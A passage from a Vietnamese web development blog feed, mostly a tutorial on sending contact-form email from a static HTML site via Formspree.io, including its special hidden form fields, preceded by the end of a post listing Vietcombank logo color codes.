2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mã màu logo Vietcombank</h2> <div style="background-color: #0c4f2e; color: #fff; padding: 15px;">#0C4F2E</div> <div style="background-color: #067346; color: #fff; padding: 15px;">#067346</div> <div style="background-color: #55a845; color: #fff; padding: 15px;">#55A845</div> <div style="background-color: #82a393; color: #222; padding: 15px;">#82A393</div> <div style="background-color: #c2d3cb; color: #222; padding: 15px;">#C2D3CB</div> <div class="margin-bottom"></div> <p>Trên đây là mã màu của một số thương hiệu nổi tiếng. Nếu bạn muốn cập nhật thêm mã màu logo của thương hiệu nào thì vui lòng để lại bình luận nhé.</p> <p>Ngoài ra, nếu bạn muốn tự tìm kiếm các palette màu mới, cập nhật xu hướng thì có thể tham khảo các trang <a href="/trang-web-tao-palette-mau-cuc-tot/">web tạo palette màu</a>.</p> <p>Xin chào và hẹn gặp bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Gửi email bằng HTML và Formspree.io]]><![CDATA[Xin chào bạn! Gần đây, mình có làm một số website static (chỉ gồm HTML5, CSS3 và JavaScript). Trong đó, website có một phần là contact form (liên hệ). Sau một hồi tìm kiếm google…]]>https://completejavascript.com/gui-mail-bang-html-va-formspree-io/https://completejavascript.com/gui-mail-bang-html-va-formspree-io/<![CDATA[API]]><![CDATA[HTML]]>Tue, 03 Apr 2018 18:19:49 GMT<p>Xin chào bạn! Gần đây, mình có làm một số website static (chỉ gồm HTML5, CSS3 và <a href="/javascript/">JavaScript</a>). Trong đó, website có một phần là contact form (liên hệ). Sau một hồi tìm kiếm google, mình đã tìm ra một phương pháp rất hay giúp bạn gửi email bằng HTML bằng cách sử dụng <a href="https://formspree.io/">Formspree.io</a>. Vậy cách này có những ưu điểm gì?</p> <h2 id="ưu-điểm-khi-gửi-email-bằng-html-và-formspree" style="position:relative;"><a href="#%C6%B0u-%C4%91i%E1%BB%83m-khi-g%E1%BB%ADi-email-b%E1%BA%B1ng-html-v%C3%A0-formspree" aria-label="ưu điểm khi gửi email bằng html và formspree permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ưu điểm khi gửi email bằng HTML và Formspree</h2> <p>Sau đây là một vài ưu điểm khi gửi mail bằng HTML và Formspree:</p> <ul> <li>Chỉ cần triển khai form trên HTML</li> <li>Không cần xử lý trong JavaScript, PHP,...</li> <li>Không cần đăng ký tài khoản</li> </ul> <p>Với những ưu điểm trên mình quyết định dùng nó ngay mà không cần tìm kiếm google thêm xem còn cách nào khác nữa hay không.</p> <h2 id="test-thử-trên-testformspreeio" style="position:relative;"><a href="#test-th%E1%BB%AD-tr%C3%AAn-testformspreeio" aria-label="test thử trên testformspreeio permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Test thử trên test.formspree.io</h2> <p>Việc đầu tiên cần làm là phải dùng thử xem nó hoạt động như thế nào. Để dùng thử, bạn vào trang <strong>test.formspree.io</strong> và làm theo hướng dẫn sau:</p> <h3 id="bước-1-sửa-nội-dung-form" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-1-s%E1%BB%ADa-n%E1%BB%99i-dung-form" aria-label="bước 1 sửa nội dung form permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 1: Sửa nội dung form</h3> <p>Bạn thay đổi giá trị của thuộc tính <strong>action</strong> trong form thành dạng:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://formspree.io/[email protected]</code></pre></div> <p>Với <strong>your@email</strong> là địa chỉ mà bạn muốn dùng để nhận mail.</p> <p>Ví dụ của mình là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">https://formspree.io/[email protected]</code></pre></div> <p>Khi đó ta có:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>form</span> <span class="token attr-name">method</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>POST<span class="token punctuation">"</span></span> <span class="token attr-name">action</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://formspree.io/[email protected]<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>email<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>email<span class="token punctuation">"</span></span> <span class="token attr-name">placeholder</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Your email<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>textarea</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>abc<span class="token punctuation">"</span></span> <span class="token attr-name">placeholder</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Your message<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>textarea</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>submit<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Send<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>form</span><span class="token punctuation">></span></span></code></pre></div> <p>Như vậy là đã hoàn thành phần cài đặt form.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 36.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA20lEQVQY03WPy07EMAxF8///hhAbBiSG5SBRddImseN30LSo4nnkja1r+TgREbSGiADgbuMfzLyj9q4RcQwTM5XaoGGrQJ1NxJiNWYluWeZwjxjmfW2npTw2fO5ytvFq8Z7cDTpB6VSpFZJS24JtbZQz1eoiI27HPPqc76f5LpcH5JPGk/oluXvBJa+I11yXklckZAEkgq6068XG5uSHdsRIbtYZVd1EREVdfz+8Lx/dXhGRWJVUzP1H9Bse5o7CYvo1lmaoL9OlUR9jePzNGINNz9PbFep2+tPiA5kEmaogQ81tAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="cài đặt form" title="cài đặt form" src="/static/5c377e4a7143e43924013a376cb2c24c/7c811/test-sending-email-testformspree.io_.png" srcset="/static/5c377e4a7143e43924013a376cb2c24c/103f2/test-sending-email-testformspree.io_.png 165w, /static/5c377e4a7143e43924013a376cb2c24c/748ba/test-sending-email-testformspree.io_.png 330w, /static/5c377e4a7143e43924013a376cb2c24c/7c811/test-sending-email-testformspree.io_.png 660w, /static/5c377e4a7143e43924013a376cb2c24c/44e31/test-sending-email-testformspree.io_.png 949w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="bước-2-nhập-nội-dung-vào-form" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-2-nh%E1%BA%ADp-n%E1%BB%99i-dung-v%C3%A0o-form" aria-label="bước 2 nhập nội dung vào form permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 2: Nhập nội dung vào form</h3> <p>Trong bước này, bạn sẽ đóng vai trò là người gửi email đến địa chỉ đã cấu hình trong form ở bước 1.</p> <p>Bạn sẽ nhập địa chỉ email vào mục <em>Your email</em> (chú ý là phải đúng chuẩn, có chữ @) và nội dung mà bạn muốn gửi vào phần <em>Your message</em>. Nhập xong, bạn chọn <em>Send</em> để gửi.</p> <p>Lúc này, trang web thông báo rằng bạn cần xác minh email.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 528px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 72.12121212121212%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABw0lEQVQoz2WSzW7dIBCF8/4v0Afoqo/QXaOqm1bqppWqNsm9F/+kMvaYAWMDMwYq7CTXTY6RPR74OMOIm2mieeZ55mUpY4/3YWfyLh4zFJJ7zhgTbrxfc84p55hiTDEflFKeyR8zI2rnnzLW0hMcU5QWYZ4OZPp0/+P24ec2m3by3fsPH2+/7LNHOKGfF6ajz7f6rsZhX5pzDsSfv37/dX96Da/rSkSBaF3XlBIzG2OM1hoRNcZUjkQUmIiJQgjHshNvMBHtJtvekZlSXPm5HGYOm5g554PzS22jwt8P5z+n86Vqun641G0P40lUd6eL82Fv7euGvRguzommFXVbNa1o2rOo5QAnUVXNI/F67MgVRqVgAKUUANhpmq2djEHE2VqNaioySo1S9gCwlf2fc9nMGDMUAQBIKfu+72V5tnCQXec9vSy+wszcdR0iKoUAgFjeehOMoBSq0nZtjLHWvrkkMVprQwjO++B9CdwSQgn8pvJ1LnhPFK6w1mQMTRNPEwFYNS5KLeM4IzqlnFLlF7Ub0Sl0aLy1bExBtA43iIRIWvMwWCH6uh7qZhCXrqqkqKQQsqr6toHLI4i/0JaThWeE/gHu6iNESymOewAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="xác minh email khi gửi mail bằng html và formspree" title="xác minh email khi gửi mail bằng html và formspree" src="/static/b422669c65949998f5910019a24cd7fa/2d709/confirm-email-testformspree.png" srcset="/static/b422669c65949998f5910019a24cd7fa/103f2/confirm-email-testformspree.png 165w, /static/b422669c65949998f5910019a24cd7fa/748ba/confirm-email-testformspree.png 330w, /static/b422669c65949998f5910019a24cd7fa/2d709/confirm-email-testformspree.png 528w" sizes="(max-width: 528px) 100vw, 528px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="bước-3-xác-minh-email" style="position:relative;"><a href="#b%C6%B0%E1%BB%9Bc-3-x%C3%A1c-minh-email" aria-label="bước 3 xác minh email permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bước 3: Xác minh email</h3> <p>Bạn sẽ cần vào email mà bạn muốn nhận (email đã cài đặt trong form ở bước 1, không phải email vừa nhập ở bước 2) để xác nhận. Bạn nhấn vào button <strong>Confirm Form</strong> là hoàn thành.</p> <p>Từ nay về sau, mọi người có thể gửi email trực tiếp cho bạn thông qua form này mà không cần xác nhận nữa.</p> <blockquote> <p><strong>Chú ý</strong>: với mỗi địa chỉ trang web chứa form (ví dụ ở đây là <code>http://test.formspree.io</code>), bạn cần phải test thử để xác minh một lần đầu tiên. Nghĩa là việc xác minh dựa trên địa chỉ trang web, không phải theo địa chỉ email. Vậy nên, khi bạn sử dụng form ở một địa chỉ khác (ví dụ <code>http://abc.com</code>), với cùng email như trên, thì bạn vẫn cần phải xác minh lại.</p> </blockquote> <h2 id="triển-khai-gửi-email-bằng-html" style="position:relative;"><a href="#tri%E1%BB%83n-khai-g%E1%BB%ADi-email-b%E1%BA%B1ng-html" aria-label="triển khai gửi email bằng html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai gửi email bằng HTML</h2> <p>Có lẽ bạn sẽ muốn test thử trên local trước khi làm trên website của mình. Nhưng khi áp dụng cách gửi email bằng HTML và Formspree này, bạn buộc phải triển khai trên một website thật mà không làm trên local được.</p> <p>Giải pháp là bạn có thể sử dụng <strong>github.io</strong> hoặc <strong>codepen.io</strong>. Mình thì thích dùng Codepen hơn vì nó nhanh và có thể nhúng vào blog wordpress.</p> <p>Demo đây nhé:</p> <p><a href="https://codepen.io/completejavascript/pen/yKOpLd"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/yKOpLd/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>So với ví dụ trên, mình chỉ thêm phần <em>Name</em> để ghi họ tên, còn lại thì hoàn toàn không khác gì hết. Về cơ bản, đến đây, bạn đã hoàn thành được nhiệm vụ gửi email bằng HTML. Sau đây, là một số tính năng nâng cao khác mà bạn có thể xem xét thêm vào.</p> <h2 id="một-số-tính-năng-nâng-cao" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-t%C3%ADnh-n%C4%83ng-n%C3%A2ng-cao" aria-label="một số tính năng nâng cao permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số tính năng nâng cao</h2> <p>Ngoài những tính năng cơ bản như trên, formspree còn hỗ trợ một vài các tính năng nâng cao khác như:</p> <h3 id="_replyto" style="position:relative;"><a href="#_replyto" aria-label="_replyto permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>_replyto</h3> <p>Trường này có thể dùng để thay thế cho phần email. Khi đó, bạn có thể reply trực tiếp cho người đã submit form này.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_replyto<span class="token punctuation">"</span></span> <span class="token attr-name">placeholder</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>Your email<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <h3 id="_next" style="position:relative;"><a href="#_next" aria-label="_next permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>_next</h3> <p>Mặc định, sau khi gửi thành công sẽ có một trang thông báo mặc định của Formspree. Tuy nhiên, bạn có thể thay thế nó bằng một trang khác của riêng bạn.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_next<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>//site.io/thanks.html<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <h3 id="_subject" style="position:relative;"><a href="#_subject" aria-label="_subject permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>_subject</h3> <p>Dùng để thêm vào tiêu đề mail. Qua đó, bạn có thể reply lại người gửi mà không cần sửa lại phần subject.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_subject<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>New submission!<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <h3 id="_cc" style="position:relative;"><a href="#_cc" aria-label="_cc permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>_cc</h3> <p>Dùng để thêm địa chỉ email vào trường <strong>cc</strong>.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_cc<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>[email protected]<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <p>Nếu bạn muốn mail này cc cho nhiều người thì có thể thêm vào nhiều email, phân cách nhau bởi dấu phẩy.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_cc<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>[email protected],[email protected]<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <h3 id="_format" style="position:relative;"><a href="#_format" aria-label="_format permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>_format</h3> <p>Phần này cho phép bạn nhận email dạng plain text.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_format<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>plain<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <h3 id="_language" style="position:relative;"><a href="#_language" aria-label="_language permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>_language</h3> <p>Sau khi bạn nhấn gửi, sẽ có phần hiện reCAPTCHA để xác minh bằng tiếng anh. Bạn có thể thay đổi ngôn ngữ tùy thích bằng cách sử dụng thuộc tính này.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>hidden<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>_language<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>es<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <p>Hiện tại, có nhiều ngôn ngữ được support, nhưng chưa có Tiếng Việt.</p> <h3 id="_gotcha" style="position:relative;"><a href="#_gotcha" aria-label="_gotcha permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>_gotcha</h3> <p>reCAPTCHA dùng để tránh spam. Tuy nhiên, bạn vẫn có thể sử dụng thuộc tính này để bỏ qua phần hiện reCAPTCHA.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text<span class="token punctuation">"</span></span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span 